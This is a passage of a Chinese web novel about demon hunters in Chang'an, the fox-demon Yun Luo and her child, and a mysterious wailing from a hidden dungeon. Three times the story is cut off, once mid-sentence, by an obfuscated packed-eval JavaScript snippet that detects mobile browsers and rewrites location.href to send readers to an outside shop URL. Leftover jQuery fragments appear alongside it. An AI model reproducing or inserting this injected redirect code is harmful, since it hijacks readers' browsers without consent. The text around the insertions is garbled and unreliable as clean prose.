小时遂打了个哈欠,声音清脆道:“阿娘,这人怎么越来越多了。” 云落用额头轻轻碰了碰孩子的额头,宽慰道:“没事哈。” 胥远期看向云落,说道:“你累吗?要不我抱一会孩子?” 胥远期这话说的,倒像是孩子的父亲。 时遂一听这话,将云落抱得更紧了些,然后用一种看怪人的眼睛看着胥远期。 胥远期尴尬地回过头去,他想凑自己,竟然又开始做不合身份的事情。 眼看对面几人都已经聊起来了,阴执一气得发抖,他说道:“你们在做什么!杀妖呀杀妖!” 这时候,简无遗也赶来了,他瞥了一眼胥远期,对发生的事情已了然于心,随后不动声色地站在了胥远期那边。 所幸这巷子比较宽,不然这么多人压根就站不下。 阴执一无语了:“简无遗,你怎么也跑那边去了?掌门若是知道他最器重的弟子与他最疼爱的女儿都学会了包庇妖怪,定是要大发雷霆!” 简无遗平淡地看着他,一言不发。 这简无遗一动,对面的风云派几人也有几个受了动摇,悄摸摸地移了位置。 阴执一要疯了:“她是妖呀!别被一张脸欺骗呀!你们对面这一个个除妖师,下山之后就忘了掌门教过你们什么吗?” 顾长聿淡然道:“我只记得掌门说过,如果我等可以不分青红皂白地杀妖,那妖也可不分青红皂白地杀人,我们与我们所憎恨的极恶之妖便没了区别!” 清冉小声道:“我哥说的对!” 胥远期也开口道:“阴……” 他突然小声问初小一一句:“他叫阴什么来着?” 初小一低声道:“阴执一阴执一。” 胥远期清了一下嗓子,仰起头,继续道:“阴执一,你知你并无恶意,只是单纯行除妖师之责,但这姑娘与这孩子都是我要护着的人,你今日伤不了她们!” 阴执一盯着他几秒,随后似恍然大悟般笑了,他道:“你不会就是孩子的父亲吧?” 他严肃道:“请注意说话的分寸。” 阴执一看着眼前这一个个与他唱反调的除妖师,他愤怒地向空气中踢了一脚:“老子服了!” 说完后,他无礼地穿过人群,气焰嚣张地离开了。 常鸿志无奈地摇了摇头,紧随其后。 10. 别无解归墟哀响 阴执一前脚刚走,简无遗看事情已了结,便也悄然离开了巷子。 云落掠过众人,这些除妖师虽看似站在了胥远期这边,但还是不免带着半分考究,将目光落在她的身上。 付夜紫走到二人身旁,问道:“他叫时遂吗?我刚刚听到了他的名字。” 时遂没说话,云落看向孩子,示意他主动来回答这个问题。 于是时遂点了点头:“是的!” 说完后,似有些害羞般将头埋在了云落的肩膀上。 付夜紫又问:“姑娘你的名字是?” 云落迟愣了片刻,回答道:“云落。” 胥远期在心中偷偷记下,原来就是云落。 穆九尘走向人群,时遂一眼看到他,指着他道:“就是他把小姨带走了。” 胥远期和云落皆看向眼前的少年。 穆九尘忙解释:“我看珏含有危险,于是将她带到归墟司去了。” 云落没多问,简要道:“我去归墟司找她。” 随即,云落便和穆九尘一起走了,付夜紫也跟上了他们。 其余的人则围在胥远期身边,暗暗低语着什么。 胥远期拱了拱手,大喊一声:“多谢各位了,耽搁大家时间真是抱歉!” “无事!”众人摆了摆手,有人就此离去,有人则跟在胥远期身旁打听着事情。 初小一问:“这是怎么回事?” “她妹妹和儿子前来寻她,大概是被阴执一撞上了,然后她妹妹又被穆九尘所救,带去了归墟司。” 大初想着胥远期的话,他皱了一下眉头:“穆九尘竟然也将妖带回归墟司了?!我还以为他很仇视妖怪呢,不过付夜紫还是掌门的女儿,按理说,这种观念应该根深蒂固才是,你没来时我都要崩溃了,谁知她竟然主动站我们这边了,相比之下,阴执一这种态度也能理解了。” 纪白汐听着他们的话,感觉云里雾里的,他就问着自己关心的问题:“所以远期你和这个姐姐现在是什么关系?” “我和她没什么关系,甚至谈不上认识,她不太喜欢和我讲话。” 初小一对着纪白汐做口型道:“单相思。” 纪白汐恍然大悟般地点点头,他自言自语道:“我还从没有想过,我们能与妖好好说话,这姐姐一看就不是险恶之妖,她温温柔柔地站在那,就像一个人一样,跟我印象中的妖怪一点也不一样。” 初小一看着纪白汐怅然若失的模样,打趣道:“小汐怎么这般纯情呀!” 纪白汐的耳根红了。 胥远期走在路上,想到刚刚的画面,他心里有几分失落:云落和别人说话轻声细语,没有任何不耐烦,也没有任何的反感,和自己就不一样了,他恍然发现,云落只是单纯地讨厌他。 日落时分,云落到了归墟司。 珏含在屋内着急地来回徘徊,直到门开后看见云落那张脸,少女才放下心来。 她大叫着跑了过来,将云落牢牢抱住:“姐姐!总算见到你了,你这几天究竟去哪了?我担心死了!” “没事了没事了。” 云落轻轻拍了拍珏含的背,时遂也学着阿娘的样子拍了拍珏含的背。 穆九尘与付夜紫站在院中,二人看着三人团聚之景,付夜紫低声问道:“穆九尘,你有没有觉得,那孩子很像一个人。” 穆九尘淡然道:“易世安吗?” 付夜紫震惊地抬头看向他,似没有想到他一开口就能说出自己不敢说的那个答案。 当心中所想被如此直白地挑明,付夜紫内心竟惶恐不已,她低着头,快速离开,呼吸与脚步一样急促,最后靠在无极门前停下,咬着唇一言不发。 她的目光黯淡片刻后,又有一种疑问萦绕在少女心头,以前在门派的时候,穆九尘不是存在感很高的人,如今来了长安,总觉得他的气质发生了很大的变化。 屋中的珏含在开心之余,向门外看了一眼,穆九尘正站在院中央,抬首看着晚霞。 少年的皮肤白皙细腻,在光影下透着通透的质感,黄昏的光落在他的脸上,印下斑驳树影,衬得面容清透又干净。 少年长袍面料莹润如冰绡,暗纹隐现似云生,在阳光下泛着柔和的珠光,衣角被风掀起,实在是很温润的一个公子。 走出屋子,云落看出珏含还有话要与穆九尘说,她提醒道:“我在外面等你。” 语罢,云落便牵着时遂先走一步。 绝美的夕阳下,二人面对面站着,珏含看着眼前文质彬彬的少年,有些扭捏道:“穆九尘,我之前误会你了,你确实是个值得信任的人。” 穆九尘浅笑着摇了摇头:“让姑娘误会,肯定是我的错。” 少女又道:“我现在要走了。” 穆九尘问:“那我与你,还能再见面吗?” 珏含眼神躲闪,她的手抓紧袖口,道:“你还想见我吗?” 穆九尘只言一字:“想。” 珏含咬着嘴唇,想了片刻,她道:“那我们一定还会再见的。” 穆九尘似有些不舍:“我送你。” 珏含点了点头。 二人一起走向无极门,云落已和时遂站在那里等了会儿,付夜紫则站在远处一直看着时遂,将时遂看的都有些不好意思。 看珏含过来,云落道:“我们走吧。” “等等!”门外传来了嘹亮高昂的声音。 云落不用回头也知晓,又是胥远期,她的眼底一闪而过厌倦之色。 胥远期一行人快速迈过归墟司的门槛,可一看见云落,少年刚刚还嘹亮至极的声音立马变得没底气了起来,他道:“云落姑娘,大家都已知晓你们的存在了,就不必着急走,多留几日也无妨,何况姑娘之前还被同类所伤,虽然我不知原委,但此刻待在归墟司肯定要比其他地方更安全。” 初小一在胥远期身后站着,连连摇头:远期这追女孩的手段怎么直白又僵硬。 珏含听了这话一惊:“伤?谁能伤……是她?” 她的话断断续续的,云落用眼神告诉她无妨。 胥远期继续尴尬道:“你与你的妹妹,你的孩子都多留几日……呃……不过你的夫君会不会着急?” 珏含打量了胥远期一眼,随后跳到云落身旁,挽住她的手,语气轻飘飘道:“哪来的什么夫君?” 胥远期眉梢划过一丝窃喜,他连忙道:“那你们三位多留几日?” 穆九尘也在一旁应和道:“没错,多留几日也好。” 珏含心里动摇了,她在等云落说话,云落若不想留,那便不留。 云落冷漠道:“不……” 话未完全说出口,归墟司内忽然传来了哀嚎声。 这声音从地下蔓延而来,似是罗刹手妄图剥开这地面,不曾想没撕开这地面,反倒把少年的恐惧撕开了。 声音凄切又绝望,人群出现了不小的躁动,胥远期低下头看着脚下的地面,地上的衰草好像都在颤动,停歇在屋檐殿顶上的渡鸦被惊得四处乱飞,整个归墟司陷入了一种相当诡异的气氛之中。 第一次听到这声音的除妖师大惊失色:“这是……是归墟哀响?!” “是哭声,是吼声,是妖的声音吗……” “是从地下传来吗!” “这归墟司到底藏了什么脏东西?!” 这声音扰得人心惶惶时,云落的眸色在暮色之中被湮没。 她的目光透过胥远期,好像在看他身后的柏舟堂,眼中多了几分悲悯。 哀嚎声持续了几秒便停了下来,随后,云落喉咙吞咽了一下,她深叹了一口气,缓缓道:“不走了。” 时遂疑惑地抬起了头,他不解阿娘怎么突然改了主意。 珏含内心暗喜,但还是强忍住欢乐道:“啊?不走了?” 胥远期被这一句话扰得心都乱了,他暂且抛下刚刚听到的声音,惊喜道:“真的吗!” “不走?!你们这些妖族竟然要留在归墟司?” 不速之客虽迟但到,众人向门外看去,阴执一已气势汹汹赶了进来。 他身后又聚集了一群人,连初小二也匆匆赶来了。 无极门被围得水泄不通,胥远期估摸着一百人岂不是全到场了? 正当场面乱作一团,大家吵的七嘴八舌时,纪白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469016|201376||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 汐突然指着柏舟堂,声音急切道:“执笔人来了!” 只见柏舟堂的大门缓缓敞开,古铜色的门后,一群执笔人披着落日余晖,从容不迫走下长长的阶梯。 他们步履稳健中带着历经沧桑的压迫感,影子被拉得很长,倒映在地上,像是镇宅的柱子。 阴执一笑:“正好让执笔人来评一回公道!” 胥远期瞪了阴执一一眼,可他还是自觉理亏,于是挡在了云落身前。 领头的执笔人看了看云落她们,他的神情意想不到的冷静。 一位年老的执笔人走向他们,他的手晃了晃,对胥远期作出“一边去”的手势,胥远期谨慎地移了一小步,执笔人开口道:“二位姑娘想住哪里,给我说即可,我会遣人现在去布置一下。” 众人大惊,阴执一更是震惊,他道:“执笔人,这三人可是妖!” 胥远期忙道:“但她们……” 领头的那位年轻的执笔人平淡地打断了他们的话,道:“不必解释,也不必惊讶,归墟司已不是第一次有妖住进来了,只要你们能承担后果即可,我们不会插手。” “什么!” 此话一出,众人又被惊到了。 常鸿志看了看被气得不行的阴执一,他想:今日可真是见世面了,先是知道人与妖竟然会相爱生子,再是见一群除妖师维护妖族,现在又知道归墟司竟然很久之前就有过妖族住进来了。 他和一女子拍了拍阴执一的肩膀,不停劝着:“别气别气……” 阴执一咬牙道:“定是你山河派的人喜好干这种事。” 执笔人淡淡道:“这先例,是风云派的一个孩子开的。” 阴执一:“……” 常鸿志:“别气别气……” 执笔人掠过众人一眼,道:“若无其他事,用膳时间已到,我归墟司只准备了府邸中几十人的餐食,便不留大家了,请诸位归去。” 执笔人这般开口,众人只能各怀心事地纷纷散去。 有的人愤怒离去,就像阴执一。 有的人一头雾水,什么情况都没弄清,心中只想着:哇塞,下了山后大家的翅膀果然硬了! 有的人沉迷于吃瓜:胥远期这小子厉害呀,刚来就和阴执一杠上了,但这妖倒真是貌美,不怪他沉沦……等哪天死在她手上了才是完了。 归墟司的其他人大部分都回到了自己的屋中。今日这事,对风云派弟子的冲击力简直不是一般的大。 简无遗走到胥远期身旁,幽幽说了一句:“你可真够折腾的。” 说完后,便提剑而去。 云落敛眸,多看了简无遗几眼。 初小二也拍了拍胥远期的肩膀,惊讶道:“远期你可真厉害,要是我肯定没勇气这样做。” 胥远期有苦难言,只有勇气有什么用,云落连个眼神都不愿意给她。 不过小初接下来一个问题更让胥远期难言,他问:“不过……为什么你非让她留下来呢?” “这会让我……安心一点。” 思索了好一会,他才道。 众人走后,无极门处只剩云落几人还有一位执笔人,以及迟迟未走的胥远期和穆九尘。 年老的执笔人看着云落:“云落姑娘,你想选哪间房?” 云落看着老人的眼睛,迟迟才语:“最西边那间。” 胥远期眼睛放光。 执笔人的目光火速打量了一下胥远期。 时遂:“我要跟阿娘住在一起。” 珏含忙说:“我也去月沉阁!” 胥远期心里升起一丝疑惑:“她怎知道最西边是月沉阁?云落告知她的吗?还是她今天去的时候注意到的?” 穆九尘随即说道:“我可以换个房间吗?换到月沉阁,那还有多余的房吗?” 老人说道:“此地原有胥远期与简无遗二人,如今云落姑娘和孩子一间,这位姑娘一间,还剩两间,你可以更换位置。” 珏含目光如懵懂的小鹿,她想:他是为我搬过来的吗? 几人说着话,胥远期总觉得有哪里不太对劲,不过迟迟没有察觉出来具体是哪个地方。 11. 别无解归墟哀响2 事情安排妥后,云落她们便往月沉阁而去。 胥远期驻足片刻,看执笔人转身离去,忙追上前去。 少年问道:“关于刚刚的归墟哀响,诸位在此应该很久了,可曾有些眉目?” 此话一出,本向前走的那位执笔人忽然停下脚步回头看着他,他的眼睛宛若苍鹰一般,倒把胥远期看的心里有些发毛。 眼前老人掠过他的脸,沧桑的声音沉稳响起:“这不是你现在该好奇的事。” 说罢,他将胥远期扔在身后,走向柏舟堂。 胥远期愣在原地,他的目光看向执笔人的背影,他明白,这人定是知晓什么,但他们在共同隐藏着这个秘密。 他暂且将此事搁置,也赶往了月沉阁。 月沉阁内六间屋子,北方位三间,胥远期与简无遗占两间,空了一间。西方位两间,云落与时遂一间,珏含一间,东方位一间,穆九尘搬了进去。 珏含去的时候,看简无遗的屋子亮着灯,便站在窗边往里多看了一眼,窗户禁闭,看不出个所以然,看穆九尘走近,少女问道:“谁住在这里呀?” 穆九尘回答道:“应该是简无遗。” 少女小声道:“……竟是易世安之前住的这间。” 闻言,穆九尘问:“你知道易世安?” 珏含心不在焉地摇摇头,她又问:“旁边住着的是胥远期?” “是。” “他人怎么样呀?” “我与他不甚熟悉,但据说他性格很好,待人友善。” 珏含皱了一下眉头,问:“他怎么会当除妖师呢?” 穆九尘迟疑道:“啊?” 珏含不再多问。 此刻的简无遗正坐在对着窗户的书桌前,珏含说的话被他全然听到。 他的身形僵硬,目光呆滞一言不发。 良久,他站起身来,双手握紧剑柄,眼睛麻木地扫了一眼四周,少年哑声道:“原来这是你来过的地方。” 等胥远期来到院子时,众人都已回屋。 他目光柔和地看向云落所在的房屋撒出来的烛光。 简无遗说的对,他可真是能折腾的。 折腾来折腾去,算是把云落暂且留下了。 以后该如何相处,说实话,胥远期心里也没底。 他在屋中思考了好一会儿,不确定自己如今此举,纠结是不是强求。 天色渐暗,到了该吃晚餐的时候,胥远期在屋中踌躇片刻,还是敲响了云落的房门,敲了半会也不见屋中人应答。 穆九尘丛对面走了出来,道:“胥远期,她们已经走了。” “走?不是说不走吗?” “我说的不是那个走,刚刚许裳裳她们跑过来喊她们一起去吃饭,你没听到吗?” “哦……”胥远期反应过来,松了一口气。 等胥远期到偏殿之时,席间较为热闹。 时遂已在几个女弟子的腿上来回被抱来抱去。 大家用一种娃娃音与他说着话,还会喂他吃饭,这个时候,时遂心里其实在偷偷想:其实四岁也不小了…… 他求助的目光看向小姨和阿娘。 可珏含正与穆九尘说说笑笑,云落身旁的人也正七嘴八舌地问个不停。 开始大家本都不敢说话,但奈何实在有太多疑问,与几个妖坐在一张桌子上吃饭的感觉太奇妙了。 胥远期落座在与云落较远的斜对面,旁边就是简无遗,他刚坐下,简无遗就拿起剑起身离去。 也得亏胥远期不拘小节,不然他恐怕会以为简无遗讨厌自己了。 少年的目光不知不觉间又投向云落。 云落左右分别坐着的是纪白汐与顾清冉,纪白汐依旧害羞得不行:“云落姐姐,妖族中是好妖多一些,还是坏妖多一些?” 云落可能对这环境不太适应,总是慢几拍回复道:“这要……怎么分?” “好就是不会随意杀戮的妖,坏就是会杀人的妖。” 云落:“大概……和人差不多吧。” 顾清冉也问:“云落姐姐,你见过危妖吗?” 云落迟疑片刻,道:“……嗯。” 众人都竖起耳朵,听的仔细。 少女又问:“他们是不是超级厉害?” 不等云落回答,珏含便抬头回答道:“当然厉害喽,那不是像我这样的寻常小妖能比的。” 有人感慨:“那易世安岂不是相当厉害了。” 有人自勉:“我们没法像易世安一样杀三只危妖,但一只也许是有可能的。” 说着说着,一个风云派弟子看着乖乖吃饭的时遂,突然小声说了一句:“话说,这孩子倒有些像易世安。” 这句话恰好被胥远期听到。 他的表情一滞:不会吧…… 易世安是多少人可望而不可即的存在,还死在了风头最盛的时候,如果孩子父亲真是易世安,胥远期认为自己是不会占任何优势的。 他小心翼翼地端详着云落的表情,云落听到这个名字好像没有任何波澜。 比起她,珏含的情绪起伏都要更大一些。 少女瞪了一眼,将披在身上的杏黄纱衫提了提。 众人又七嘴八舌地问了起来: “危妖有多少个呀?我看书上都没有记载。” “你们为什么会来长安?” “妖皇活了多少岁呀?” “……” 问题逐渐变得没那么有边界感起来。 大家问的快,好像忽略了云落是妖的身份,但句句又在指妖的身份,云落只听着,没有回答。 胥远期看着大家情绪越来越高昂,他不想让云落为难,便打起了圆场:“诶,大家赶快吃饭吧,夜晚还得巡逻呢。” 众人唉声叹气片刻,不再多问,低着头忙着吃饭。 这饭吃的胥远期心事重重,当他黯然神伤之时,云落悄然看向了他,那眼神复杂至极,难以剖解。 饭后,除妖师们开始了重复的巡逻。 夜深了,等时遂睡着后,珏含便和云落坐在院中石桌旁聊天。 院中两座石灯笼亮着,珏含变出了几根狐狸毛扔了进去,这火光便变得愈发灿烂起来。 珏含脸上带着些婴儿肥,眼睛永远是亮晶晶的,唇似樱朱,肤光胜雪,几缕碎发随风轻扬,拂过颊畔,甚是灵动娇憨。 珏含喜爱明亮的颜色,她披一袭杏黄纱衫,薄如蝉翼,恍若流霞覆身;内搭红底绣纹抹胸,下着碧色罗裙,明艳而不俗。 一眼看去,十分天真活波,与她的性子也甚匹配。 她蹦蹦跳跳地坐在了云落对面,看了这院中布景一眼,道:“姐姐,我从没想过我还能再来一次这里。” 云落浅笑,她问道:“穆九尘……他是怎么回事?” 珏含脸上荡漾起少女的羞涩,她说:“我觉得他有点好看,还很温柔,像姐姐一样。” 羞涩过罢,珏含的眼神忽然认真起来,她回头看向阁内唯一的一间空房,又发誓道:“姐姐,我一定不会走上那条路。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469017|201376||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 云落眼中闪过忧虑,但也没再多说。 珏含又问道:“姐姐,你与那个叫胥远期的之前便认识吗。” 云落有些意外:“为什么会这样觉得?” “因为姐姐对他有些不同。” “我都未与他多说话,你怎能看出不同。” “正是没有说话才不同呀,感觉你不想理他。” 云落欲言又止。 珏含突然道:“他虽长得有几分好看,但话太多了,我也实在烦。” 云落眼神凝滞了一秒,随后笑着捏了捏珏含的看,温柔道:“烦到我家珏含了?” “嘻嘻,姐姐,你讨厌他吗?” 云落:“……我不确定。” 珏含不解:“那我们就不要住在这个院子了。” 云落斟酌后说道:“住在这里,可以少生些事端,何况……时遂应该来看看这里。” 珏含低着头想着时遂……而后叹息一声。 她又问:“姐姐为什么突然决定留下来了?” “有一份恩情得还。” “恩情?”珏含抿了一下唇,她的手在桌上随意扣来扣去,她继续道:“胥远期他不是普通人吧。这些除妖师虽察觉不出,但看他第一眼我就知道了,他和时遂一样,具有人与妖的血脉,是个半妖。” 珏含继续絮絮叨叨:“不过说实在的,这一批除妖师还真不比那个叫易世安的显眼,除了胥远期有妖人血脉,还有,今日围在无极门附近的,有一人也是,只是他们站得拥挤,我没具体看出是哪个。” 珏含无奈地撇撇嘴,她站起身,指着枯树突然换了个话题:“这棵樱花树再过一个多月就要开了,到那时一定很美。” 云落眸子若皎皎明月,她颔首不语。 夜深了,胥远期巡逻后直奔后山,很晚才从后山回来。 他回到屋中,屋中的碳火已经烧好了,烛火也尽数燃起,银子也放在了桌子上。 他呆呆坐在椅子上,食指与大拇指之间捏着新发的银两。 在烛光下,这碎银还怪美的。 少年叹息一声:“捂不热捂不热。” 他还想把自己上次在求凰楼看中的小东西买回来,不攒点钱怎么行。 而在他将碎银放下之刻,“归墟哀响”又开始了。 “怎么又开始了!” 尽管执笔人警告过他,但胥远期耐不住心中好奇,于是冲出屋门。 他前脚刚走,后脚云落就打开了屋门。 胥远期寻着声音跑向柏舟堂。 天地空旷,黑夜中,声音愈发渗人。 少年心中不断确信道:声音是从柏舟堂传来的! 就在他一脚踏上长阶时,一老者从身后大喝着制止他:“胥远期,你做什么?” 他身形一顿,回头望去,是今天让他靠边去的那位执笔人,也是他今天叫住的那位执笔人。 胥远期指着大门说道:“这声音是从柏舟堂里传出来的!” “与你没有关系,快回去!” 胥远期犹豫着不太想走,可执笔人那眼睛很明显不是在劝说,而是在警告。 与此同时,声音也消失了,他只能不情愿地离开了。 而此刻,云落在屋檐上冷静地看着这一切,她隐没在黑夜之中,身影一晃便来到了柏舟堂前,谨慎地推开了大门。 老人那双鹰勾眼沉默地看着云落进去,未发一言。 云落在关门的瞬间,目光透过门缝看向转身而去的老人,眼神若有所思。 12. 别无解归墟哀响3 云落没有点灯,她的神色从容,眼眸却像是淬了毒的刀刃,锋利无比。 她一挥手,带着诡异花香的花粉在空中散开,粉末闪烁着细微的亮光,如蝶一般化作一缕清风涌上殿内的四根红木柱。 每根柱子以浮雕形式按方位雕刻的二十八星宿。 她在雕刻着南方朱雀七宿的柱子前停下。 “井、鬼、柳、星、张、翼、轸。”她眉头微蹙,看的愈发认真了些,“这翼宿怎多了一笔?” 她抬起纤纤玉手,指尖触上翼宿的浮雕,而后用力一推。 刹那间,四柱之下凭空出现漩涡状的黑洞,云落站在洞口向下看去,依稀能看见渐渐深入的黑石阶。 她一脚踏入黑洞,身体瞬间便来到了地下空间。 她抬头望去,黑洞悬在头顶上方,透过扭曲的波纹,隐隐能看见地面上的情形。 走下二十层黑石阶,一股阴凉的空气扑面而来。 这归墟司,果然有地牢这样的地方。 走下石阶后,云落转折而出,推开面前的翻转石门,进入地牢主体部分。 这是一条较为狭窄的通道,顶多可以容纳三人并排同行。云落的脸庞上倒映出火光的颜色,她打量了一眼通黑的墙壁,这墙壁上却覆上了一层冰霜,燥热与极寒两种割裂感极强的极端的感受竟同时出现。 她神色自若,继续向前走去,越靠近出口,那种割裂感体会得越加明显。 那火光把她的眉目照的越发明亮,当她的全身都被笼罩时,她已走到了通道尽头,眼前出现更为开阔之地,冲天烈火围绕着正中心的圆台,圆台之上,云落看见了一张熟悉的脸。 这地牢里,只关押着一人,不,是一妖。 正如顾清冉虽说,是人是妖,一眼便大概能看出。 她们私底下也曾打趣过,若是不认识胥远期,第一眼必将认他为妖。 被关押的这只妖,虽是蓬头垢面,但依旧难掩稳重平和的气质,俊伟中透露着萎靡与哀切。 圆台中央,这妖的双手双脚被寒冰链紧锁,地牢顶部都结上了厚厚的冰锥,外围一圈不灭火熊熊燃起,冰火两重刑罚,倒不像是为了惩罚他,好像唯有这样,才能困住他。 云落的脚步声很轻,但这妖还是敏锐地察觉到了,他抬起头,轻声道:“是炎满来了?” 云落开口:“不是。” 那妖听到这声音,抬起头,隔着火光看见了云落的脸,他笑了。 “云落,让你见笑了。” 那个夜晚,云落很晚才回去。 胥远期睡得浅,半夜察觉到外面似有些许动静。 但也仅仅是皱了皱眉,并未起身查看。 他猜测,大概是简无遗练功回来了。他走的时候,灵枢台上就只剩简无遗一人。 但其实,简无遗回去的比云落还晚。 夜晚气候凉,但天气已有回暖的迹象,月光洒进深深庭院,简无遗回来时,石灯的烛火已尽数燃尽,少年立于院中枯树下片刻,冷汗浸湿长衣,颈上还弥漫着细细汗珠,他的手因练功过度而发着烫,他一手握剑,另一只手抬起,发红的指尖覆上干枯的树皮,手掌间的茧竟如树皮一样粗糙。 他忽然扔了剑,瘫软地坐在地上,他的背抵着树干,整张脸埋在了膝盖上,失声痛哭。 哭了好一会,他顶着哭红的眼睛,捡起了剑,冷静地站起身,走进了自己的房间,一如往常。 无解山上,两女子坐于山顶,凝望着长安夜景。 风轻轻地吹,二人发丝飘扬的美宛若这黑夜一般吞噬人心。 一长相妩媚的女子用一种极度天真的语气说道:“长安好安静呀,真想扔个炮仗进去,把它炸个底朝天。” 另一女子的眼眸深不见底,莫名带着些迷人的危险,她百无聊赖道:“不用这么着急。” 那妩媚的女子已站起身来,袍角随风翻飞,她眉如春山,眼似琉璃,瞳仁浅褐如融了暖金,额间一点朱砂花钿,妖味甚浓。 另一女子看向她,问道:“黎酒,你做什么?” 黎酒挑了一下眉,她边走边说道:“去随便逛逛,看看有没有需要我的地方,我偷偷推波助澜一下。” 黎酒突然停下脚步,转身对坐着的女子做了一个嘘的手势,她道:“别告诉我师父……” 她未说出那个名字,女子已了然点头。 这几天过得很快,也并未有什么大妖现身,胥远期忙着巡逻,早出晚归,还要在后山锻炼。 日升月落,他们御剑绕了长安城一圈又一圈,他们知晓南湖的水最为清澈,他们知晓十宝斋的甜食铺最负盛名,胥远期好几次经过那里,都遇见了初小二,也请了他好几次。 当然,众人眼中的极乐之地还是当属求凰楼,昼夜不分,无数世间珍稀物在此只能沦为不起眼的装饰物。 胥远期每次经过此地时,门外那个女子都会露出一个恬淡的微笑,每每这时,他就会想:不知道上次看到的那东西卖出去没有。 正月二十的夜晚,五天的巡逻终于结束了。 众人又在后山练习,歇息时席地而坐,之前不知谁喊了句加餐,执笔人倒真准备了夜宵,此刻前来唤众人前去进餐。 一除妖师指着离灵枢台几十米远处,一座高塔,他说道:“执笔人,我昨天中午去了这座塔上,这塔的许多栏杆旁都系着红线,这线的材质还有几分特殊,吹不烂,扯不断,是用来镇压什么的吗?” 执笔人看了一眼高耸的塔,道:“非也,这本叫千里塔,后来改叫子衿塔。曾有一除妖师在此塔上对心上人表达心意,此后,一些两情相悦的孩子便喜好在此相会,缠红线以示长情。” 地下零零散散坐着的除妖师们发出了起哄般的唏嘘声。 胥远期的眸光投向那座塔,眼中暗藏几分期许。 这时,那除妖师问道:“那人是易世安吗?” 执笔人微楞,随后摇头道:“不是,只是一个寻常的孩子。” 说话的人似乎有些失望:“这样呀。” 执笔人道:“不是所有人都像易世安一样,我们也得留下普通人的故事。” 众人似懂非懂,还是认同般地点了点头。 执笔人意识到自己说多了话,他挪开目光,转身道:“菜已上桌,各位随我来。” 大家拍拍衣服蹦了起来,路上有一搭没一搭地说着话。 顾清冉突然在后面拍了一下胥远期的肩膀,胥远期一回头,清冉睁着无辜的眼睛说道:“远期,我哥有没有跟你说我呀?” “没有呀。” 少女无语道:“我看你们今天是一起走的,还以为他会提到我呢。” 胥远期问:“你们还没和好?” 顾清冉叹了一口气。 胥远期又问:“他为何生你气?” 顾清冉欲言又止。 胥远期无奈地摇了下头:“这些天巡逻时,我看他经常跟在你身后,可见他也不是真正的生气,你哥还是很关心你的,你就不要太担心了。” 顾清冉落寞地点点头,她唉声叹气道:“我哥的脾气要是有你一半好该有多好。” 胥远期先是礼貌地笑笑,一秒后这笑容便凝固在嘴角,他的余光看见了顾长聿冷暗阴森的目光,让他直起鸡皮疙瘩。 顾清冉也很快意识到了不对劲,立马低头不说话了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469018|201376||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 宴席上,胥远期似乎能感觉到顾长聿好像在用眼神暗杀他,他不自在地扭了扭肩,寻思着这对兄妹可真奇怪。 又过了些时日,长安依旧没什么大动静,胥远期也见不到云落几面,见了也说不上话。 并且,云落还时常不在归墟司,也不知道在忙些什么。这时候,都是珏含在管教着时遂。 可珏含发现时遂愈来愈不听话,这些天被府里的人宠的有些娇惯,这也不吃那也不吃,在他又一次敷衍过晚饭后,珏含忍着怒气回到了月沉阁,随后忍无可忍,揪着他的耳朵将他提到了院中去。 “这几天看给你娇惯的,还这不吃那不吃,以前在风临小院的时候,掉地上的鸡腿你都捡起来偷偷吃!” 时遂一副视死如归的模样:“哼,我阿娘说不可以随便打小孩!你要打我的话,我就喊阿娘!” 珏含笑:“喊阿娘?你阿娘在妖界呢,一时半会儿不会回来,让我现在来教训你一顿!” 时遂听完这话,顺感不妙,拔腿就跑。 珏含大喊:“时遂!” 时遂小腿蹬个不停,继续向前跑。 珏含在后面追着他,再次喊道:“时遂!你站住!” 时遂依旧绕着院子拼命地跑。 珏含忍无可忍,她一字一句道:“易——时——遂!” 听到这个名字,时遂立马乖乖地站住了。 他知道,珏含是真生气了。 他忙举起手,说:“小姨我错了,你别打我!下午那些姨姨和叔叔们给我带了好多东西吃,我真的吃饱了,我下次再也不随便吃了!” 珏含才不听迟来的“忏悔”,只见少女变幻出一条白色的长鞭,面露“凶狠”地一步一步走向时遂。 胥远期回来时正巧看到这一幕,他连忙大步走了过去,挡在时遂身前,劝道:“珏含姑娘,他还小,你这一鞭子下去他不得被打得伤筋断骨呀。” 珏含嫌他碍事,懒得搭理他,道:“你过去!” 胥远期认真道:“真不可以,他犯了天大的错也不至于这样。” 珏含烦躁地叹了口气:“不是打他!” 胥远期:“啊?” 只见珏含将鞭子扔给了时遂,说道:“拿着,跳!” 她继续道:“才几天呀,就吃胖了这么多!今天至少得跳五百个!” 时遂可怜兮兮地捡起鞭子,双手握住两头听话地跳起绳。 胥远期看到这一幕,忍不住生出了笑意。 